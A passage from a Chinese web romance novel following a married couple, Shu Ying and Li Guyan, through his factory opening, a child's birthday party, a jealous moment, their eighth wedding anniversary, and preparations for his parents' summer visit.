等黄姐把礼物拿下来后,舒英的心才放回肚子里。 舒秀珍:“喏,小花狗,我托朋友带回来的乐高积木,拼出来就是一只小花狗。” 谷雨抱着盒子看着大姨,撅着的嘴能挂油瓶。 舒秀珍促狭归促狭,也怕真把她惹伤心了,伸手摸了摸她的头说:“等明年你过生日,大姨送你一条真的小狗。” “跟芝芝家一样的那种吗?” 舒秀珍不知道芝芝家是哪种,但点点头说:“嗯,一样的那种。” 谷雨这才又开心起来。 春意渐浓,长袖的衣服都被脱去,换上短衫。 李固言的厂房也万事俱备,已经开始做业务了,就等着一个好日子正是开业剪彩。 他出来单干,没跟罗厂长一样做风扇,那样就是抢他生意了,他做的是电脑配件。 之前李固萱让他去看的那次,虽然那个零件他们做不出,但也给了他灵感,一台电脑不少钱,跟电脑相关的配件也都很精密,他完全可以做一些他们能做的配件去售卖,而且说实话,他对自己的能力还是有信心的,除了一些国内技术还没掌握的,余下的一些他完全可以做的比同行更好。 开业特意选了一个良辰吉日,邀请了大家参加。 舒秀珍认识的人多,正好有从事电脑这行的,她拉着人一块儿过来参加,不管他们从不从李固言这里下单,总归是个人脉,多结交结交没有坏处。 剪彩的时候,李固言抱着谷雨把舒英一块儿拉到台上去,今天是重要的日子,身为他必不可少的家人,自然要与他一同参与。 录像机在台下举着,两个人都拿着剪刀,笑着将带子剪短,带子断开的瞬间天空中彩带飞扬。 李固言从漫天的彩带中扭头看舒英,她脸上带着满足的笑,长时间侵染在书籍中,让她身上染了书卷气,衬得她的气质更加沉静,眼神平和温柔,带着年岁渐长的成熟。 李固言跟着人群一起鼓掌大笑,目光却始终追随着她的身影。 飘飘扬扬的彩带中,让他想起来他俩结婚的时候,那天她穿着红色套裙,头发烫卷盘起来,唇角弯起笑着,眼神羞涩又带着点对未来的不安。 我们的未来让你满意了吗? 李固言低头在她耳边轻问。 环境嘈杂,舒英没听清他在说什么,问:“你说什么?” 李固言抿唇笑着,微微摇了摇头。 舒英狐疑地看了他一眼,见没什么事也就不再追问。 直到客人全都散去,两人也带着谷雨回家,舒英笑了一天,感觉脸上的肌肉都有些僵硬,带着谷雨洗完澡后,就赶紧上床睡觉。 现在天热,谷雨又变成自己睡在单人床上。 李固言也去洗澡,洗完澡带着一身水汽进屋,发梢还在滴着水。 舒英看见后嘟囔:“你怎么也不把头发擦干再进来。” 李固言坐在床位,侧身将毛巾递给她,半撒娇说:“我想让你帮我擦。” 厂子正式开起来,舒英知道他今天开心,也乐得让他更开心,接过毛巾半跪坐在床尾在他头上缓慢地擦拭。 李固言很是享受地闭上眼,等擦得差不多后,微微后仰靠在她怀里,睁开眼直勾勾地盯着她。 舒英笑起来,俯下身在他额上轻吻,头发还有点湿湿的,搂在怀里有些凉。 李固言攥着她的手,顺着她掌心的纹路柔柔地划着,划得人心里发痒。 “你开心吗?” 舒英点头:“开心。” 他把白天她没听清的问题又问了一遍:“我们的未来让你满意了吗?” 听到这句话,舒英怔了一下,才反应过来是他上午问过的。 虽不明白他好端端的怎么这样问,但她抿起唇笑了笑:“满意,跟你在一起,我很满意,有了谷雨,我很满意,我们现在过着这么好的生活,我很满意。” 李固言听她说完,不错眼地盯着她瞧,火热的视线从她脖颈处慢慢向上滑,她白腻的皮肤渐渐染上绯色,柔软的唇饱满诱人,像夏天高悬于树上的樱桃般让人垂涎。 李固言凸起的喉咙上下滑动,一个翻身将她压在身下,喘着粗气在她唇上轻啄,像对待什么绝世珍宝般小心翼翼地不敢用力。 舒英手指插进他冰凉的发缝间,与他唇瓣相贴,气息交换。 两人耳鬓厮磨了会儿,舒英手下滑在他腰腹处流连,他今年也三十了,但身材保持的很好,硬硬的肌肉上覆着一层软肉,让人爱不释手。 舒英虎口收紧,李固言倒在她身上闷哼一声。 过了会儿,舒英道:“你去看一下谷雨,在她床边档个枕头。” 李固言有些慵懒地抱着她,某个地方又点了她一下才起身,枕头挡好又顺手把灯关掉。 这些做完后,他又轻手轻脚上床,覆着她咬她的耳垂。 舒英缩着脖子哼唧:“你属狗的啊!” “我属蛇的,你忘了?”李固言抱着她不松,力道加大,“蛇最喜欢缠人。” 舒英眼神涣散,脑袋差点撞到墙上,被他拽着腿又拉回来。 事毕后,舒英觉得自己身上跟被车碾过一样,浑身无力,连手指都抬不起来,她斜睨了他一样:“我明天还得上学呢,你真是过分。” 李固言也觉得自己今天有些过分了,对着她讨好地笑笑,说:“我抱你去洗澡吧?” 舒英打了个哈欠,眼角挤出一点水光来,困得点了点头,双手伸出去。 李固言先拿薄毯把她裹住,这才抱着她去浴室。 水冲在身上,洗着洗着,他又有些心猿意马,舒英毫无威慑力地瞪了他一眼,眼角眉梢都带着刚被满足过的娇媚。 李固言亲了她一下,立马保证说:“不碰你不碰你。” 这还差不多。 舒英窝在他怀里打瞌睡,再睁眼时天都亮了,昨晚什么时候洗好的澡,什么时候被他抱上的床都不记得了。 第66章 第 66 章 喜新厌旧,新人旧人 周日, 舒英打车送谷雨去不远处的一个别墅区。 芝芝今天过生日,邀请了班上的十四个小朋友参加,谷雨和芝芝在幼儿园里玩的最好, 肯定是不能缺席的。 芝芝家很大, 是独栋别墅,生日宴会在她家的后花园里举行。 舒一和谷雨到的时候,已经有还几个小朋友来了, 围着芝芝蹦蹦跳跳的。 “芝芝!”谷雨松开妈妈的手,迈着腿快步跑过去,芝芝听见声音也赶紧过来,两人瞬间抱作一团, 明明昨天才在幼儿园见过面,搞得好像很久没见了一样。 小朋友在那边玩,芝芝妈妈邀请她进房间里坐坐。 芝芝妈妈笑起来,语气温柔:“家里也没邀请别人, 都是芝芝的朋友同学, 让她们孩子在外面玩,谷雨妈妈咱们到里面聊天。” 舒英也笑着点了下头, 跟着她进去, 她粗略扫了一下,只有零星几个人是她眼熟的,剩下的都不认识,大家都坐在沙发上手里拿着咖啡聊着天, 她听了一耳朵都是自己不熟悉的东西,也就没有插话,眼睛透过大大的落地窗看着外面的小朋友们玩闹。 芝芝今天是主角,穿着大大的白色公主裙, 头上也戴着大大的闪钻皇冠,是小朋友喜欢的那种。 房间里听不清她们在说什么,舒英就看到谷雨脸上笑容灿烂,还有模有样地在小朋友们面前展示了一番自己刚学的拳术,外面瞬间欢呼起来,都鼓着掌看着谷雨。 舒英没忍住也笑了下,这小家伙。 房间里的妈妈们都看到了外面的小朋友的玩闹,芝芝妈妈笑说:“谷雨妈妈,芝芝跟我说,谷雨现在在学打拳?” 舒英:“是,见她喜欢就让她随便学着玩的。” “学打拳挺好的,能强身健体。”芝芝妈妈笑吟吟的,“谷雨妈妈,你平时忙,也没怎么跟我们在一起聚聚,我给你介绍介绍?” 舒英放下咖啡杯看过去,脸上也盈着笑:“好啊,那就麻烦你了。” 一番交际认识下来,舒英面上表情不变,心中却在感慨,好家伙,这么一圈下来,家里都是有些小资产的,不是开了这个厂,就是开了那个厂,这样看下来,还就数他们家最普通。 这种场合,不止是为了给孩子庆祝生日,还起着结交人的作用,舒英也收了好几张名片,笑着塞进包里。 大人之间的机锋小孩子是不知道的,她们都等着六层的大蛋糕呢。 生日宴结束,舒英牵着谷雨离开,跟大家笑着挥手告别。 出来后坐在出租车上,她瞬间松一口气,这种交际场面,她果然还是应付不来,下次再有,还是让李固言带着来吧。 不过想一想那个画面,李固言一个男人牵着闺女,挤在一群穿着打扮都很精致讲究的妈妈中,真是怎么想怎么奇怪。 到家后,舒英把收到的名片都给李固言,又使唤他给自己捏肩膀。 “你闺女今天是玩开心了,我僵笑挤在她同学的妈妈们中,不说话显得孤僻,说话也不知道说 什么,真是折磨啊。“舒英瘫坐在沙发上,突然转过头去看后面给自己捏肩膀的人,问,“你马上应酬也不会少的吧?” 李固言点头:“厂子慢慢步入正轨,我需要拉订单,就免不了要跟人应酬的。” 舒英闻言又转回来,同情地摇摇头:“这么一天我都有点受不了,你还要经常跟人应酬,真不知道你到时候怎么受。” “怎么,心疼我了?”李固言四下看了眼,谷雨一回来就上楼跟贝贝玩去了,赵姐也在厨房里忙活没往这边看,他轻笑着低头,在她耳朵上亲了下。 舒英觉得痒,没忍住笑起来:“是啊,心疼你。” 李固言本来就是故意逗她的,但听到她毫不避讳地答应,还是忍不住高兴,声音瞬间柔情似水,“你老公厉害着呢,这么一点小小的应酬场面,那是手到擒来。” “是是是,我老公最厉害了。”舒英露齿笑出声,没再让他给自己捏肩,拉着他在旁边坐下,“说真的,你也不会喝酒,你到时候怎么跟人应酬?喝白水吗?” 李固言那种要拉订单的应酬可跟她今天这种女人间的交际不一样,是要拼酒的,虽然她一直觉得给人灌酒就是纯折磨人。 “没事,我到时候尽量少喝点。” 舒英斜眼看他一下:“这你还能说少喝就少喝?” 李固言笑起来伸手在她脸颊上拉扯,又被她一巴掌拍下去,“我现在厂子小,要不了多大的业务,目前都是靠熟人介绍,大家都知道我不会喝酒,倒也不会故意灌,等以后要拼酒的时候我酒量也练得差不多了。” 舒英撇了下嘴,扭过头没看他:“我看好多人一喝酒就喝出啤酒肚了,你回头要是喝成个大胖子可别怪我喜新厌旧啊。” “喜新厌旧?”李固言登时拉过她,眼睛瞪得跟牛犊子一样,故意挠她咯吱窝,“怎么,你现在有新了?这么快就想厌旧了?” 舒英受不住大笑着在沙发上打滚,“没有没有,我没有!” 赵姐听见动静探头看了一眼,见是他们夫妻间玩闹又连忙缩头回来,继续忙活着手上的事情。 李固言冷哼一声:“没有就好。” 舒英气急,要扑到他身上咬他,他也不躲,在她扑过来的瞬息倒下去,舒英刹不住,下巴差点儿没磕在他脸上。 “谋杀亲夫啊。”李固言撑着她,眼里满是笑。 舒英伸手拧他,“你就是故意的。” 李固言但笑不语。 舒英给他一个眼刀:“你就是故意打岔,不让我往下说,所以你以后不会真的要变成一个大胖子吧?腰上再顶个跟七八个月大似的肚子。” 这下气恼的人又变成了李固言,气急败坏地要拿手去捂她的嘴,舒英看他这样子,瞬间什么不爽都没有了,开开心心地起身,动作飞快地跑进屋里,又迅速反手把门反锁,在屋里哈哈大笑。 李固言站在门外拍了两下门,听见她的笑声忍不住也无声笑了笑。 …… 自从自己单干后,就没办法像以前那么轻松了,一个人恨不得拆成八瓣使,厂里什么杂七杂八的活都要亲历亲为。 这天他刚擦完机床,摘掉袖套坐到椅子上,翻开文件细细看起来,就听对面袁宜时不时笑出声。 他不解地抬头,问:“你这是怎么了?怎么笑个不停,要是闲得慌就去保养保养机床。” 袁宜拿着BB机看,脸上的笑消不下去,说:“老师,我今天早点走,他说有一家西餐厅味道很不错。”话音还没落,也没等他同意,就开始着手收拾自己的东西了。 “去吧去吧。”李固言这下眼都没抬,摆摆手道。 袁宜笑了两声,拎着自己的包就要跑。 “等等!”李固言突然出声。 袁宜顿了一下,虽然本能的很想立马跑掉,但还是老老实实转过身问,“怎么了老师?” “西餐厅要是不错,回头也把地址告诉我。”马上就五一了,他到时候带舒英也去尝尝。 这事啊,袁宜笑起来,赶忙叠声答应,答应完就头也不回地溜了。 她下班了,李固言看看时间,已经五点多了,他也有点待不住,也收拾东西走。 自己当老板就是这点儿好,时间上相对自由,虽然平时忙碌,但偶尔还是能腾点空出来。 他把办公室检查一番,将灯关掉电拔掉也走了。 现在舒英肯定还在实验室呢,她往常都得六点多才从实验室出来,回家吃饭,他现在过去,正好能赶上接她一块儿。 想着能快点到,他没坐公交,伸手在路上招出租车,看着路上来来往往络绎不绝的车辆,一时也有些意动,还是买辆车方便些。 不过今年资金都投到厂里了,等明年看看。 现在正是一年之中天气最舒爽的时候,不冷不热的,校园里散步的人也很多,李固言熟悉地拐进药学院,又找到她们那栋楼。 在走廊上从窗户里往里一探,果不其然,舒英还没走呢,他笑了笑,也没进去,就在走廊上等着。 舒英还有点儿事情没做完,就没急着走,而且实验室里的人个个都很努力,不到天黑透,没一个人离开,屁股就跟钉在椅子上了一样,从早到晚都不带挪一下的。 不过天色暗下来的时候,就意味着今天快要结束了,大家绷了一天的精神也都慢慢放松下来,各自都做着一些不紧要的事情,时不时还插科打诨几句。 李固言站在外面,对里面的声音听不真切,不过能听出来是在闲聊,他也笑了下,眼睛看着里面,眼见着一个男人拿着东西过来,走到舒英旁边,弯下腰跟她在说些什么。 两人都穿着一样的白色实验服,一个弯腰站着,一个坐着,两颗脑袋快要碰到一起,聊两句还要笑一声,李固言脸上的笑僵住,随后消失不见,浑身都散发出一股不爽的气息。 付思萱长舒一口气仰倒在椅子上,说:“累了,饿了。” 刚说完就看到窗外一个人影,吓得她差点没从椅子上摔下去。 她动静大,旁边的舒英和廖承平都看过去,问:“怎么了这是?” 付思萱拍拍胸口站起来:“没事没事,就是猛然看到窗户外站着一个人,吓了我一跳。” 窗外天暗下来,屋里开着灯,那人影模模糊糊地没看清脸。 实验室里的人都看出去,李固言身子僵了下,随后扬唇笑起来冲他们摆了摆手。 付思萱眯着眼又认了认大喊道:“小英姐,是你老公,不声不语的跟鬼一样站在那,把我心都快吓出来了!”说完才意识到自己说错话了,哪儿有说人家老公是鬼的,立马捂住嘴眨巴着眼看舒英。 舒英笑起来:“待会让他跟你道歉,我明天中午请你吃饭,吃三食堂,安慰安慰你怦怦跳的心。” 付思萱看着她,见她没生气,才放下心,脸上又笑起来:“那明天可别忘了啊。” “不会忘。” 李固言这时已经绕到了门口,舒英招手让人过来说:“快给人道歉,你怎么来了也不说一声,瞧把人给吓的,要吓出个好歹你可赔不起。” 李固言也没想到会吓到人,连忙道歉。 付思萱也就是开开玩笑,几人说笑两句也就过去了。 几个人说话间,李固言忍不住暗暗打量站在旁边的男人,瞧着跟他差不多大的年纪,他咬牙,这看着也不新啊。 经这一出,大家也都没心思再在实验室里待着了,各自收拾东西准备回去。 舒英脱掉实验服放柜子里,拿着包出来走到李固言旁边笑着问:“今天怎么想起来接我了?” “你不喜欢吗?” 舒英皱了下眉,不知道是不是自己感觉错了,总觉得他话里有话,怪腔怪调的。 李固言话说出口就意识到语气不对,顿了下轻咳一声说:“就是想着晚上也没什么事,就过来了。” “行吧。”舒英点头。 校园里人不少,都三三两两地结着伴,舒英松开他的手,往旁边看了看。 李固言手上瞬间空下来,不自在地攥了攥,主动又牵上去。 舒英不乐意让他牵,又给扭开。 李固言非要牵,牵上还要说:“你真是说喜新厌旧就喜新厌旧。” 舒英停下脚步,挣开他的手抱臂看着他,还边看边围着他转了一圈。 李固言自己率先受不了,“好吧好吧,我错了。” 错了就错了,还“好吧好吧”?舒英不满,哼一声不说话。 李固言立马缴械投降、坦白从宽:“我就是、就是看你跟你同学在一起有说有笑的,吃醋了。”老老实实的样子,活像是谁欺负了他。 这个理由倒还说得过去,舒英深深看了他一眼,脸上憋不住想笑,在嘴角上扬的前一秒赶紧转过身,加快脚步。 李固言也知道是自己乱吃醋,见她走得飞快,以为她生气了,赶忙小跑着去追。 他越追,舒英越怕被他看到笑脸,跑得就越快。 跑着跑着,她实在忍不住,大笑出声。 李固言听见笑声,愣了一下,不可置信地看着她的背影,下一瞬才明白过来,脸上也轻快起来,身上的怨夫气息烟消云散,迈着步子跑上去。 舒英哪里跑得过他?不过一会儿就被他捉在怀里。 “你是旧人,你不要碰我。” 李固言抱着她:“新人没有旧人用着习惯。” 一肚子歪理,舒英斜睨他一眼不说话。 李固言看着她,低下头就要去亲,舒英连忙用手掌拦住他的嘴故意说:“你嘴里太酸了,我不喜欢吃酸,你别亲我。” “酸点开胃。” 说完,他撇下她的手,掰着她的脸吻上去。 他俩瞎跑瞎闹,这会儿正好在一个无人的拐角处,天又快黑下来,实在没人注意到这边。 舒英也就一开始拒绝一下,他在她身上的经验丰富,没一会儿就撬开她的牙关,勾着她舌尖吮吸。 她一瞬间有些腿软,撑不住似的搂着他的脖子回应。 一吻结束,两人唇舌分开,唇上都有些湿润,微微喘着粗气。 李固言看着她动情的双眸,还要问:“怎么样,还是旧人会伺候你吧?” “你现在胆子真是越来越大了,也是越来越管不住嘴了。”舒英横他一眼。 男人笑起来,“那是你调教有方。” “滚。” …… 袁宜去的那家西餐厅不错,回来就跟李固言道:“挺有格调的,味道也好,这是地址,你要是带英姐去,记得提前打电话预约。”她现在跟舒英也熟络得很,两人年纪差得不大,喊师母总是怪怪的,现在都是叫姐。 李固言接过名片点头,看着上面的地址和电话。 五月一号是他和舒英的结婚纪念日,到今年的五一,他们俩结婚就正正好满八年了。 前几年年五一两人还分隔两地呢,互相之间只能打电话写信,今年团聚在一块儿,可不得好好庆祝庆祝嘛。 李固言提前去西餐厅踩点,定了靠窗的位置,又仔仔细细跟餐厅里说了流程,再三嘱咐他们千万别出错。 五一这天,舒英和谷雨都放假在家,难得一个假日,谁也没早起,一觉睡到大天亮。 舒英迷迷糊糊睁开眼,一个戒指映入眼帘,再往上看是李固言有些通红的脸。 她瞬间清醒,接过戒指戴在无名指上,“送我的?”问完又觉得有点傻,戒指,不是送她的还能送谁。 “嗯。”好在李固言没注意到,“我听别人说钻石象征着坚固的爱情……”越说越羞涩了。 舒英笑起来,把手伸出来对着光看了看,她的手生得好,洁白细腻又纤长柔软,戴上钻石戒指煞是好看。 她欣赏完了,扭头在他唇上亲了下,笑道:“我很喜欢。” 李固言开心起来,说:“快起来,我晚上订了餐厅。” 舒英起床洗漱,李固言去喊谷雨。 谷雨迷迷瞪瞪地刷着牙,突然看到妈妈手上的戒指,夸张道:“妈妈,这个好好看!” “好看吧?” “嗯嗯!”她捣蒜似的点头。 舒英笑起来:“等你长大了,妈妈也给你买。” “好!” 吃完早饭,舒英就坐到梳妆台前化妆,李固言凑过去问:“还有发胶吗?” 舒英笑起来:“有。”说完瞅着他,他不说话了,只眼睛一个劲儿地盯着她瞧。 她率先败下风来:“行行行,等我化完给你弄。” 又忍不住吐槽:“怎么感觉你现在越来越臭美了呢?刚结婚那两年你可不是这个样子。” 一提到刚结婚那两年,李固言就觉得脸上燥得慌,现在想想,那时候真是个什么也不懂的毛头小子,那么一点小事也能气那么久,还能冷战那么长时间,他现在要是能回去,一定要给他两巴掌。 他伸手圈住她,不让她再提那两年的事。 舒英从镜子里看到他毛绒绒的头顶,无声笑了下。 俩人收拾好从房间里出来,谷雨一抬头看到他们捧场地“哇”了一声,瞬间从地毯上站起来跑过来,问:“妈妈妈妈,你好漂亮啊!爸爸,我们要去哪玩啊?”小家伙聪明得很,一见爸爸妈妈打扮得这么漂亮就知道要出去玩。 但他们俩去过结婚纪念日,就是要过一下二人世界,肯定是不能带着谷雨一块儿去的。 李固言迎着谷雨期待的目光,有些头皮发紧,不知道该怎么说。 舒英斜他一眼,笑着说:“走,我们上楼找贝贝玩。” 谷雨狐疑地看了他俩一眼,还是乖巧地跟着上楼。 舒秀珍带着贝贝在家呢,见人打扮齐整地上来,也有些好奇:“这是要干嘛去?” 舒英看了俩孩子一眼,小声说:“结婚纪念,固言说在外面定了个餐厅。” 舒秀珍懂了,招呼着俩小孩过来:“你俩想出去玩吗?” “想!”两人齐声回,这么大的年纪正是爱往外跑的时候。 “那你们去换小裙子,我带你俩出去吃饭。” 俩小家伙听到这话连忙跑进房间,要去换衣服。 舒英冲她笑:“谢了。” 舒秀珍白她一眼,随后又笑起来:“你跟妹夫好好玩,才不枉我给你带这么久孩子。” 把孩子交给她,她是一万个放心,转身下楼,叫上在家里等着的李固言,俩人直奔小区门口去坐车。 两人长得好看,又特意打扮了一番,一路上没少引路人注意,上了车,司机也下意识看了他们两眼,没忍住问:“这是干嘛去?” 李固言笑:“过结婚纪念。” 司机从后视镜里看他,也笑了,问:“刚结婚一年吧?” 李固言摇头,脸上笑得越发灿烂:“八年了。” 这下司机也惊讶地抬眉,趁着等红灯的空隙又看了他们几眼,搭话说:“八年了感情还这么好,真是不多见。” 李固言闻言笑了笑,手里紧紧握着她的,觉得心里被填得满满当当。 舒英抿着笑,将车窗摇下来一点,风吹进来,将她散落的头发吹到他身上,缠缠绵绵的不肯分开。 第67章 第 67 章 夫妻夜话 吃完饭, 舒英和李固言从餐厅出来,天色暗沉,微风吹拂。 舒英将脸前的头发捋到身后笑说:“我们抛下谷雨出来玩这么久, 回去她该生气了。” “不会, 她才不是这么小气的人。”李固言一手捧花,一手牵着她慢慢往前走。 舒英斜睨他 一眼,“既然你这么说了, 待会儿你哄啊。” “我哄就我哄。”男人笑着,看到她脚上的小高跟凉鞋,突然蹲下身,“我背你走一段。” 舒英看着他宽厚的背, 也不客气,俯身压上去后用双手搂着他的脖子,头也搭在上面。 “趴好了?” “好了。” 李固言将花递给她拿着,双手从她腿弯下伸过去, 起身后还往上掂了掂, 随后稳稳地往前走。 “真舒服啊。”舒英趴在他背上眯起眼喟叹一声,享受着迎面而来的晚风。 路上行人不多, 三三两两的路过, 见到他们下意识就要扭头瞥一眼,舒英甚至隐隐约约听到路人感慨“好般配”,她咧嘴又笑了笑。 李固言背着她往前走,走在繁茂的树荫下, 路灯透过斑驳的缝隙洒在缓慢移动的交叠身影上,月亮慢慢升起,高悬于天空,舒英抬起头盯着看, 觉得有些晕眩,又低下头埋在他脖间。 “今天这家餐厅不错,等下回也带谷雨来尝尝。” 李固言背着她一点不觉吃力,点头说:“等下个月你生日,就带她过来。” “嗯。” 马上到上车点了,舒英拍拍他的背:“放我下来吧。” 李固言没听,说:“我们再往前走走。” “怎么,背我还背上瘾啦?”舒英笑起来,老老实实趴在他背上。 “是啊,平时都没什么机会背,这逮着机会可不得多背背。” “你就嘴贫吧你。” “也就跟你贫,我又不跟人家贫。” “你要是敢跟人家贫,你就给我等着吧。”舒英伸手去拎他的耳朵,但眉眼弯弯地笑着,哪里有半分用力的样子。 两人又玩闹了一段路,过足了瘾才下来打车。 到小区门口后,李固言作势还要背她,小区就这么大,随时有可能碰见楼上楼下的邻居,舒英可不敢再让他背,万一被人碰见,真要老脸一红。 不背就不背,李固言握着她的手十指紧扣,将花和包都拿在自己手上。 两人在外面玩的开心,到了家门口却是谁也不敢进去,心里惴惴不安。 “你说谷雨生气没?”舒英小心趴在门边,想要听一听屋里的动静。 他俩直接把她丢给舒秀珍,还丢了这么长时间,一时心下都有些愧疚,像是家猫在外啊偷了腥。 李固言摇头:“不至于。”他还是相信他闺女的,人家是很大气的人,而且下午大姨也一直带着她和贝贝玩,说不定都乐不思蜀,压根儿不记得爸妈在哪儿。 “好吧,那你开门。”舒英后退一步,给他让位置。 李固言上前伸手握上门把手,他本来是不担心的,但被她用这种紧张的眼神看着,突然也有些忐忑,他看了眼她,一狠心,将钥匙插进锁孔,开门进去。 谷雨听见动静,赶忙往这边跑,边跑边喊:“爸爸妈妈!” 听见闺女声音,舒英后进来的,连忙把李固言往旁边挤了挤,自己张开手臂迎接:“哎,我的宝宝。” 她把闺女搂进怀里,手上用力,将人抱起来。 李固言在后面看着,无奈地摇了摇头,弯腰将她换下来还没来得及收进鞋柜里的小高跟鞋跟自己的一块儿放好。 谷雨被妈妈抱着坐到沙发上,舒英摸了摸她的头问:“你刚刚在干什么?” “看动画片。”谷雨指了指电视,看到跟在后面的爸爸,突然捂着嘴笑起来。 舒英和李固言对视一眼,都觉得有些莫名,李固言问:“怎么了?怎么笑的这么开心?” “大姨说你和妈妈感情好,所以要出去过二人世界,大人过二人世界的时候,小朋友是不能跟着一块儿去的。” 谷雨童言无忌,怎么从舒秀珍那听的,就怎么复述给爸爸妈妈听,浑然不顾忌爸爸妈妈红透的脸。 舒英看着她恨不得立马捂住她的嘴,但迎着闺女清澈的双眼,到底是下不去手,只好埋怨舒秀珍:“你大姨这张嘴,真是什么都说。” 谷雨歪着头,问:“大姨说得不对吗?” 说得不对吗?这如何好回答!舒英支吾了一下,还是承认道:“大姨说的对。” 说完怕谷雨再追问,连忙转了话题,问:“今天跟大姨去哪玩了?” “去商场,我们吃了汉堡包,还有薯条,还喝可乐!” 舒英将她乱遭的辫子重新散开:“你大姨天天带你们去吃垃圾食品。” “才不是垃圾食品。”谷雨反驳,“汉堡包好吃,薯条好吃,可乐也好吃,妈妈,你下次也带我去吃。” “行行行,下次我们一家都去吃。”舒英用李固言递过来的梳子把她头发梳顺,梳顺后说,“行了,到时间了,咱们去刷牙洗脸吧。” “好噢。”谷雨乖顺地点头,末了又问,“爸爸妈妈,你们吃了什么?好吃吗?跟汉堡包比谁好吃?” 李固言笑起来:“我们吃了牛排,等妈妈过生日,也带你去尝尝。” “好!” …… 沪市进入梅雨季,天气总是阴沉沉的,时不时就要下点小雨,放晴不了几天,这个时候就感觉家里哪哪都是潮湿。 对这样的天气,舒英稍微有些不适应,嘱咐赵姐,只要一出太阳就把床上的被子抱到阳台上晒一晒,要不晚上睡觉时总觉得不舒服。 今年五一国家正式实行双休制,这个制度对李固言和舒秀珍影响不大,他俩都是私人企业,为了效率,很难立马跟着双休,但对舒英来说,每周却是可是实打实的多休息一天,整个人瞬间放松许多。 单休时,早上起晚一点,带着谷雨再下楼溜达两圈,天就要黑了,总觉得还没休息呢,新的忙碌的一周就又开始了。 周六这天早上,李固言照常起床去厂里,厂里来了个大单,别说双休了,单休都很难保证。 舒英被他吵醒,睁眼看了看他,睡得声音有些沙哑问:“外面还下雨吗?”昨晚又淅淅沥沥到了凌晨。 “我看看。”李固言将衬衫扣子扣到最上面,走到窗边拉开窗帘看了一眼,又走回来摇头说,“不下了。” “那就好。”下着雨去上班,就是打着伞穿着雨衣,还是很难避免将身上弄湿,舒英侧头看了眼小床上的谷雨道,“你把谷雨抱过来,我搂着她再睡一会儿。” “好。”李固言将睡裤换成西裤,又扎上腰带,动作慢条斯理,一点不着急的样子。 舒英盯着他看,有些忍俊不禁。 李固言俯身下来在她唇上亲了下:“等我晚上回来。” “嗯。” 男人满意了,轻手轻脚到小床边,谷雨酣睡正香,两只小胳膊伸出来,放在头两侧,半点没有醒的意思,他轻声笑了笑,弯腰小心将心肝宝贝抱起来,移到大床上去,谷雨不得劲地扭了扭,滚到一个熟悉的怀里,下意识往里缩了缩,寻了个舒服的位置后,瞬间老实下来,砸吧砸吧嘴,安安静静地又睡熟过去。 李固言伸手在她睡得红扑扑的小脸蛋上摸了下,柔声道:“爸爸上班去了。”也不管孩子能不能听见,说完直起身就要出门。 舒英喊住他低声问:“你中午回来吃饭吗?” 他想了下道:“我看看,要是不那么忙我就回来,要是不回来就给你打电话。” “行,现在韭菜长得好,一茬儿一茬儿的,我想着中午跟赵姐一块儿做韭菜盒子的,你中午要是不回来,晚上再给你做。” “行,我去厂里了,你睡吧。”李固言点头,想着水灵的韭菜,突然也有些馋,他出门,轻轻把门带上。 房间里又恢复安静,舒英搂着软软乎乎的谷雨,满足地抱了抱她,头挨着枕头又眯了一会儿。 八点多的时候,谷雨醒了,睁眼一瞧,有些疑惑:“妈妈?” “嗯?” “我怎么跑大床上了?”她记得自己昨天晚上是睡得小床呀。 舒英笑:“早上爸爸走的时候,我让爸爸给你抱过来的,因为妈妈想搂着你睡。” 谷雨高兴地嘿嘿笑,小脑袋使劲儿往妈妈怀里钻,闻着妈妈身上的味道,搂着妈妈的腰说:“我也 喜欢和妈妈睡。” 舒英在她炸毛的头发上揉了一把,掀开被子坐起来,“我们起来吧?” “好!” 谷雨自己会穿衣服,舒英把她的衣服递给她,她自己就能穿好。 这几天下雨,温度又下去了点,每天一早一晚还有点凉飕飕的,得穿长袖长裤才行。 天气不好,舒英也不打算带孩子出门,就给她拿了件家居服,柔软透气的料子,贴身穿着舒服。 她带着孩子刷牙洗脸,赵姐已经把早餐做好了,谷雨不喜欢喝白粥,觉得涩嘴,赵姐熬得八宝粥,还放了几颗冰糖,熬得浓稠又甜滋滋的,谷雨一气能喝一大碗。 “宝宝真厉害!”舒英十分上道地给闺女捧场鼓掌,谷雨嘻嘻笑,两条小腿坐在椅子上晃悠,捧着碗递给赵姐,还要再吃。 一碗就够了,一下不能吃这么多,舒英没让再盛:“小肚子都鼓起来了,不能再吃了,再吃肚子就要撑破了。” “那好吧。”谷雨眼睛滴溜溜转,不知道在憋什么坏,舒英也不管她,说:“吃饱了要不要找贝贝姐姐玩?就是不知道她现在起来没。” “我上去看看!”谷雨粗溜一下从椅子上下来,瞬间就跑没影儿,让人喊都喊不住。 舒英见状无奈地摇摇头:“越大越调皮了。” 赵姐笑起来:“小孩子嘛,都这样,我家的也是,贪玩得很……”她说着,情绪又有些低落,干笑了两声,转身躲进了厨房,从背后看过去,像是抹了两下眼泪。 舒英知道她是想孩子了,三个孩子,都是当妈的身上掉下来的肉,怎么会不想?她想一想自己和谷雨,要是她跟李固言离婚,年年都见不到谷雨,还不知道要怎么发疯。 她看着自己碗里的粥,也忍不住轻轻叹口气,赵姐在家里干了这么久,是个可靠的老实人,手脚也勤快,家里家务事交给她是一点心不用操,她想着以后要是可以,还是能帮一把是一把,起码让她见见孩子。 只是穷山恶水出刁民,安城的乡下其实还是很贫穷的,对于法律层面上的认识还比较浅薄,就是报警,不让见孩子的问题都不一定能解决。 说到底,还是太穷了,太穷的人认知跟不上。 舒英把碗里的粥喝完,也没了胃口,跟赵姐说一声后,也上楼了。 梅雨季过去,转眼就到了暑假,天气燥热,树上的知了叫个不停,风扇吹出来的风都是热的,对于解暑的效果微乎其微。 舒英问:“爸妈买了哪天的火车票?” 李爸今年退休了,二老跟他们商量着说暑假过来看看孙女,顺便也在大沪市逛一逛,活了大半辈子了,还没来过大城市呢。 “大后天的,晚上到。”李固言切好西瓜端过来,切成三角状,这样好啃,不容易吃得一脸汁水。 西瓜早上赵姐买菜顺便买回来的,在冰箱里冰了一天,到晚上吃正好,冰冰凉凉的吃进肚子里,十分凉爽。 “赵姐,你也吃,多吃几块,就不感觉那么热了。” “哎。”赵姐应一声,也拿了西瓜对着垃圾桶吃。 阳台上的窗户都大开着,夜风吹进来,也不知道是不是因为吃了冰西瓜的原因,竟真的从风里感受到一丝凉意。 李爸李妈过来玩玩也挺好,就是家里就两间房,有点没地方睡,舒英想了想说:“赵姐,你这段时间能不能先到楼上跟黄姐挤一挤?你那间房间先腾给我公婆住,等他们回去,你再搬回来,行吗?” 